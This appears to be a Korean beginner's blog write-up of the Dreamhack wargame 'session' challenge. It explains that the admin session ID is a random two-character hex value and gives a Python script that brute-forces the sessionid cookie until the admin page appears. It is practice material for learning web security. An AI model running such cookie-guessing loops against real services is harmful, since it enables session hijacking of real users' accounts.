드림핵

[드림핵 워게임] 3. Beginner session 풀이

ihatebasil 2024. 8. 20. 01:15

 

https://dreamhack.io/wargame/challenges/266

 

session

쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다. admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다. Reference Background: Cookie & Session

dreamhack.io

오늘 푼 문제는 Dreamhack 워게임 웹 해킹 Beginner 단계의 session 문제이다.

 

session-basic을 풀고나서야 이 문제를 이해할 수 있었다.

https://dreamhack.io/wargame/challenges/409

혹시 이 문제의 접근법을 아직 이해하지 못한 (나같은)초보자라면, 먼저 session-basic 문제를 풀어보길 권한다.

이 게시글을 통해 당장 비기너 세션 문제를 풀고자 하는 사람이라도, 아래 게시글을 먼저 읽어보는 것이 좋겠다.

(아래 게시글 작성 -> 이 문제 해결 -> 이 게시글 작성 플로우라 로그인 등 겹치는 부분은 다시 언급하지 않음)

 

2024.08.19 - [분류 전체보기] - [워게임] session-basic 풀이

 

[워게임] session-basic 풀이

⚠️ 작성자는 컴퓨터 관련 지식이 거의 없는 초보자입니다. ⚠️⚠️ 드림핵 워게임 비기너-쿠키 문제를 풀어본 경험을 바탕으로 유비추리를 통해 해결했습니다.⚠️2024.08.09 - [분류 전체보기]

ihatebasil.tistory.com

 

session-basic과 beginner session은 매우 유사한 문제이다.

미리 생성된 admin 전용 sessionId가 있고, admin에 접근하기 위해서는 우리가 그 sessionId를 찾아 쿠키 값에 입력해야 한다. session-basic에서는 /admin 엔드포인트로 접속해 쿠키값을 쉽게 알아낼 수 있었다.

 

이미 알고 있겠지만 두 문제의 차이점은, session-basic엔 '/admin' 엔드포인트가 있고, beginner에는 없다는 것이다;;

즉, 비기너 문제의 sessionId 쿠키값은 때려맞추어야 한다!

(대신, 베이직 문제의 sessionId는 64자리였던 반면, 비기너 문제는 2자리로 줄여줫다..ㄳㄳ)


if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

문제 코드를 보면, sessionId 생성은 위와 같이 이루어진다. 

session_storage[os.urandom(1).hex()] = 'admin'

이게 무슨 소리냐면 1바이트 길이의 무작위 바이트를 생성하고, hex()를 통해 16진수 문자열로 변환한다는 뜻이다.

즉, admin의 sessionId 쿠키 값으로 2자리 문자열이 생성되는데, 00부터 ff까지의 256가지 문자열 중 하나가 랜덤으로 생성된다는 것(0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f 16가지 문자가 각 자리에 하나씩 옴. 즉 16^2=256가지 경우의 수)

 

실제로 문제 코드를 실행 시켜보면 

랜덤 문자열 중 d4가 생성됐음을 확인할 수 있다. (d4가 될 수도 있고 00, g7, a0 등등.. 매 실행마다 다른 문자열이 출력됨)

 

따라서,

이 문제를 해결하기 위해서는 256가지에 해당하는 경우의 수를 모두 대입해봐야 한다.

 

이런 걸 브루트포스라고 하는 것 같다.

다른 포스팅 보니 브루트포스 하는 프로그램? 이 있는갑다

 

하지만 난... 브루트포스는 처음이라...

...

uipath 자동화 툴을 이용하려 했으나 클릭과 동시에 쿠키가 삭제되는 상황이 발생해서

그냥 python으로 자동화 프로그래밍을 했다 (GPT의 도움을 받아)

import os
import requests

# 웹 사이트 URL 설정
url = '<워게임 서버 주소>'  # 쿠키를 설정할 웹 사이트의 URL

# 루프 시작
while True:
    # 세션 생성
    session = requests.Session()

    # 무작위 1바이트 길이의 쿠키 값을 생성
    cookie_value = os.urandom(1).hex()

    # 쿠키 설정 (name이 'sessionid'이고, value는 무작위 생성한 값)
    session.cookies.set('sessionid', cookie_value)

    # 요청 보내기 (GET 요청 예시)
    response = session.get(url)

    # 응답 내용을 문자열로 변환
    response_text = response.text

    # 응답이 "Hello"를 포함하는지 확인
    if "Hello" in response_text:
        print(f"Found 'Hello' in response with sessionid: {cookie_value}")
        print("Response content:", response_text)
        break  # Hello가 발견되면 루프 종료
    else:
        print(f"Sent sessionid cookie: {cookie_value} - 'Hello' not found, retrying...")

# 종료 메시지
print("Process finished successfully.")

response_text에는 응답한 서버의 html이 주르륵 나오는데,

틀린 값을 입력하면 welcome 화면으로 이동 되고, 맞는 값을 입력할 경우에만 
Hello admin, flag is DH{~~} 이 적힌 이동되기 때문에

response_text 가 Hello를 포함하는 경우에 프로그램이 종료되도록 했다

파이썬 실행 결과이다. (아래 response_text가 주르륵 나와있지만 중략했다)

여러번의 시도 끝에 찾은 sessionId는 f7 이었다

만약 프로그래밍을 하지 않고 무작정 대입을 시도했다면 아마 0부터 시작했을 테니까... 최소 128번은 입력하지 않았을까 ㅋㅋ

파이썬 출력값에 이미 정답 FLAG가 포함되어 있었지만 테스트 겸 한 번 더 웹에 입력해줬다

와!

파이썬이 찾아준 sessionId 값이 맞았다

아직 개발자 도구를 다루는 법?을 잘 모르기도 하고

세션, 쿠키 등에 대해 완벽한 이해가 이루어진 후 작성한 풀이가 아니라

다소 엉성할 수 있다.

 

이번 워게임을 풀며 워게임 문제 코드를 자세히 읽고 스스로(GPT의 도움이 필요했지만) 해결해 볼 수 있어 보람찼다. 😁